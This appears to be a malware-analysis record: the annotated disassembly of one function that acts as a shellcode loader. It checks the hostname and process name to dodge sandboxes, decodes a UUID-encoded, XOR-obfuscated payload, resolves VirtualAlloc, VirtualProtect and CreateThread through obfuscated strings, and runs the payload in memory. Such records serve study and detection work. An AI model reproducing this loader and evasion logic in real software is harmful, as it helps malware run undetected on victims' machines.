Function at 0x140001070
Capabilities:
Encode data using xor
Get hostname
Get process image filename
Initialize winsock library

Disassembly:
sub rsp, 0x708
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x6e0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400010c8
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x6e0]
xor rcx, rsp
call fcn.140001650
add rsp, 0x708
ret
mov edx, 0x400
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rdx, [rsp + 0x2e0]
lea rcx, str.hostname_is:__s_n
call fcn.140001010
xor ecx, ecx
lea rdx, [rsp + 0x2e0]
lea r8, str.LiavPC
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140001614
cmp rcx, 7
jne 0x140001100
mov qword [rsp + 0x710], rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
lea rcx, [rsp + 0x1d0]
mov r8d, 0x104
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x1d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
test eax, eax
je 0x140001175
lea rdx, [rsp + 0x1d0]
lea rcx, str.The_current_Process_Name:__s_n
call fcn.140001010
jmp 0x140001181
lea rcx, str.Failed_to_retrieve_process_name_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x5c
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea rbx, [rax + 1]
test rax, rax
jne 0x1400011ae
lea rbx, [rsp + 0x1d0]
mov rdx, rbx
lea rcx, str.The_exectuable_file_name:__s_n
call fcn.140001010
lea rdx, str.C:myapp.exe
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001201
lea rcx, str.Tomato__Exiting..._n
call fcn.140001010
mov eax, 1
mov rbx, qword [rsp + 0x710]
mov rcx, qword [rsp + 0x6e0]
xor rcx, rsp
call fcn.140001650
add rsp, 0x708
ret
lea rcx, str.Not_Tomato__Continuing..._n
mov qword [rsp + 0x6f8], r14
call fcn.140001010
lea rcx, str.RPCRT4
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001253
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400013c4
mov qword [rsp + 0x6f0], r15
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1d0
xor edx, edx
mov rcx, rax
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140001295
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400013bc
mov qword [rsp + 0x718], rbp
xor ebp, ebp
mov qword [rsp + 0x720], rsi
mov rsi, r15
mov qword [rsp + 0x728], rdi
lea rdi, str.ED8A41F5_E1F9_09C9_0909_485848595B58
mov qword [rsp + 0x700], r13
lea r13, str.__heYflj
nop dword [rax + rax]
mov rcx, qword [rdi]
mov rdx, rsi
call r14
test eax, eax
jne 0x14000137f
add rsi, 0x10
inc ebp
add rdi, 8
cmp rdi, r13
jl 0x1400012d0
movdqa xmm2, xmmword [str._t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_]
lea rax, [r15 + 0x20]
xor ecx, ecx
mov qword [0x140005748], r15
mov rdx, rbx
mov qword [0x140005760], rbx
and rdx, 0xffffffffffffffc0
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rcx, 0x40
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp rcx, rdx
jb 0x140001313
cmp rcx, rbx
jae 0x14000139c
lea rax, [rcx + r15]
sub rbx, rcx
xor byte [rax], 9
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001370
jmp 0x14000139c
mov r8d, eax
movsxd rdx, ebp
lea rax, str.ED8A41F5_E1F9_09C9_0909_485848595B58
lea rcx, str.____UuidFromStringA__Failed_At___s__With_Error_0x_0.8X_n
mov rdx, qword [rax + rdx*8]
call fcn.140001010
mov r13, qword [rsp + 0x700]
mov rdi, qword [rsp + 0x728]
mov rsi, qword [rsp + 0x720]
mov rbp, qword [rsp + 0x718]
mov r15, qword [rsp + 0x6f0]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, qword [rsp + 0x6f8]
mov rbx, rax
test rax, rax
je 0x14000149c
xor ecx, ecx
lea rdx, str.__heHeefj
nop
xor byte [rcx + rdx], 9
inc rcx
cmp rcx, 0xc
jb 0x1400013f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
mov qword [0x140005788], rax
lea rcx, str.pVirtualAlloc_is_at:__p_n
call fcn.140001010
xor eax, eax
lea rdx, str.__heYflj
nop word [rax + rax]
xor byte [rax + rdx], 9
inc rax
cmp rax, 0xe
jb 0x140001430
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
mov qword [0x140005790], rax
lea rcx, str.pVirtualProtect_is_at:__p_n
call fcn.140001010
xor eax, eax
lea rdx, str.Jlhl_alhm
nop word [rax + rax]
xor byte [rax + rdx], 9
inc rax
cmp rax, 0xc
jb 0x140001470
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
mov qword [0x140005780], rax
lea rcx, str.pCreateThread_is_at:__p_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rax, qword [0x140005788]
test rax, rax
je 0x1400015f5
cmp qword [0x140005790], 0
je 0x1400015f5
cmp qword [0x140005780], 0
je 0x1400015f5
mov rdx, qword [0x140005760]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
call rax
mov qword [0x140005750], rax
test rax, rax
je 0x1400011dc
mov rdx, rax
lea rcx, str.Allocated_buffer_at__p_n
call fcn.140001010
mov r8, qword [0x140005760]
mov rdx, qword [0x140005748]
mov rcx, qword [0x140005750]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.Copied_payload_to_buffer_n
call fcn.140001010
mov rdx, qword [0x140005760]
lea r9, [0x14000575c]
mov rcx, qword [0x140005750]
mov r8d, 0x20
call qword [0x140005790]
mov dword [0x140005758], eax
test eax, eax
je 0x1400011dc
lea rcx, str.Changed_virtual_protection_n
call fcn.140001010
mov r8, qword [0x140005750]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [0x140005780]
mov qword [0x140005740], rax
test rax, rax
je 0x1400011dc
mov edx, 0x2710
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Tap_to_clear_buffer_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.___Cleaning_up...__n
call fcn.140001010
mov rcx, qword [0x140005750]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [0x140005750]
lea rcx, str.Cleared_buffer_at__p_n
call fcn.140001010
xor eax, eax
jmp 0x1400011e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_calling_GetProcAddres__error:__ld_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x1400011dc
lea rcx, str.Exiting..._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x6e0]
xor rcx, rsp
call fcn.140001650
add rsp, 0x708
ret